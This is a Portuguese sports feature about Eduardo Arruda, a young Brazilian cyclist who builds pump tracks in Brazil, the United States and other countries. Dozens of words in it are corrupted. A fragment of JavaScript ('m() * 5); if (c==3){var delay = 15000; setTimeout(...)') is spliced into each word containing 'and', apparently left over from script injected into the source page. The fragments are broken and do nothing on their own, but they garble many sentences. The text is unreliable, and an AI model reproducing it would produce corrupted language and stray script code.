Esportes
Redação Digitais
Eduardo Arruda acredita que são as bicicletas que realmente movem o mundo!
Uma bike, muitos desafios e mil sonhos. Eduardo Arruda, um ituano de 22 anos, percebeu que poderia fazer muito mais pelo mundo fora da faculdade de Engenharia que fazia na Universidade Federal de Santa Catarina. Depois de dois anos estudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, partiu para os Estados Unidos com uma nova meta: construir “PumpTracks”.
Ainda que não muito conhecidas no Brasil, as Pump Tracks já fazem sucesso no mundo dos atletas há algum tempo. São pistas parecidas com as de BMX ou de saltos (dirt jump), só que em menor proporção em relação à altura dos obstáculos e objetivo. É um circuito com início, meio, mas nunca um fim: o ciclista só para de andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando não aguenta mais.
No Brasil, Eduardo Arruda é um dos incentivadores do esporte. O ciclista já tem uma experiência reconhecida mundialmente quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o assunto é construção de Pump Tracks e aventuras. Já esteve em sete países diferentes por conta da carreira que decidiu seguir, entre eles: Estados Unidos, Canadá, Nova Zelândia e Austrália, que são os maiores polos do esporte.
A história por trás da história
Seu amor pela bike começou quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ainda era criança. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu tinha 11, 12 anos, me reunia com os meus amigos e construíamos pistas simples, só por diversão, para treinar manobras”, recorda. Com o passar do tempo, Eduardo entendeu que a bike tinha um significado muito maior do que esperava.
O primeiro contato com um projeto inteiro, desde o planejamento até a preparação e execução de uma pista, aconteceu em 2010, na pequena cidade de Cabreúva (65km de Campinas) para o Campeonato Brasileiro de Downhill e 4X. O sucesso foi tamanho que se repetiu em 2011.
Ao longo dos anos, Arruda foi ganhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando experiência e criandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando contatos ao redor do mundo. No ano passado (2016), ao passar uma temporada na Califórnia, conseguiu concretizar o sonho de construir as tais pistas “Pump Track”, para o tradicional evento Sea Otter Classic e participou da filmagem da série “Flow Mode”, produzida pelo Canal Olímpico. “Ainda na Califórnia, tive a oportunidade de trabalhar nos bastidores de outros projetos com grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes nomes do segmento, como a Action Sports Construction e a Anthill Films”, completa.
No país
Ao voltar para o Brasil, Eduardo veio com uma missão: fomentar e incentivar o esporte ainda pouco conhecido no Brasil. Fez um curso para operar tratores e depois começou a construir pistas pelo país inteiro. Seu último grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande trabalho foi a segunda Pump Track asfaltada pública do Brasil, em Mairiporã – SP (90km de Campinas).
Apesar de não poder falar muito sobre o próximo projeto, que envolve um programa de TV (e já está em andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andamento), Eduardo Arruda garante que tem gravado “aventuras em lugares inusitados do mundo”.
Com 34 títulos conquistados, sete países visitados, 25 pistas construídas, 19 vídeos produzidos e mais de 120 mil views, “Duda” pretende aumentar ainda mais esses números, à medida que sonha cada vez mais alto. Após uma rápida passagem ao Brasil, ele já está de volta ao Canadá.
“Mente leve!”
Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando questionado sobre o que o motiva a tanto trabalho, ele é enfático: “Crianças, a próxima geração. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando participava de competições tinha o sonho de me tornar profissional de bike, logo percebi que era um processo muito complicado devido à falta de incentivo e patrocínios na indústria nacional. Decidi, então, viajar para conhecer outros países e entender o porquê e como funcionava a progressão do esporte. Foi aí que percebi o quanto o Brasil era carente da base, do básico. Um país com uma extensão territorial imensa, geografia e clima favorável, porém escasso de lugares seguros e progressivos para despertar entusiasmo em novos praticantes. Então, minha missão é criar entretenimento e proporcionar lugares mais acessíveis para crescer a base e expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andir o mercado”, explica Eduardo Arruda.
Sobre os planos futuros, o foco continua sendo o incentivo ao entretenimento das gerações: “Quero criar Bike Parks para as pessoas se divertirem e sentirem o mesmo que sinto quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de bike todas as vezes: mente leve!”, conclui.
Editado por Carolina Sampaio
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